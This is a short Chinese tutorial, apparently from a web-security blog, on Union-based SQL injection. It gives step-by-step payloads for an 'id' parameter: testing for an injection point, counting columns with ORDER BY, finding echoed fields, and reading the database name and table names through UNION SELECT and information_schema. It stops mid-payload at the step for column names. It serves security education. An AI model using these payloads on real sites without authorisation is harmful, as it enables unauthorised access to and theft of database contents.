WEB安全原理(1)——SQL注入
1.Union注入
如果通过sql注入,页面上能获取预期信息,则可使用Union注入。
(1)判断是否存在注入点(区分下是数字型注入还是字符型注入)
id=1 # 正常回值
id=1' # 异常回值
id=1 and 1=1 # 正常回值
id=1 and 1=2 # 异常回值
(2)判断表中的字段数
id=1 order by [1,2,3,……]
使用order by语句,后面跟随具体数字,这些数字可用于指代表中字段名,观察数字从1开始递增到哪个数字为止,界面回值均会正常,则那个终止的数字则为字段数。
(3)观察表中哪些字段能够回显数据到前端页面上
id=-1 union select 1,2,3,…… # select接所有字段
上述语句中由于union前面语句显然错误,则页面上只会回显union的查询结果。然后根据页面上的回显数字,就可以知道哪几个字段可以回显数据到前端页面上。
(4)获取当前数据库名
id=-1 union select 1,database(),2,3,……
在可以回显数据的字段位置上,替换为database()函数,这样页面便会在该字段位置上显示当前数据库名。
(5)通过已知的数据库名,获取该数据库下的表名
id=-1 union select 1,(select table_name from information_schema.tables where table_schema='test' limit 0,1),2,3,…… # limit 0,1 指从返回的结果中从第一条记录开始,取一条记录
(6)通过已知的表名,获取表中的字段名
id=-1 union select 1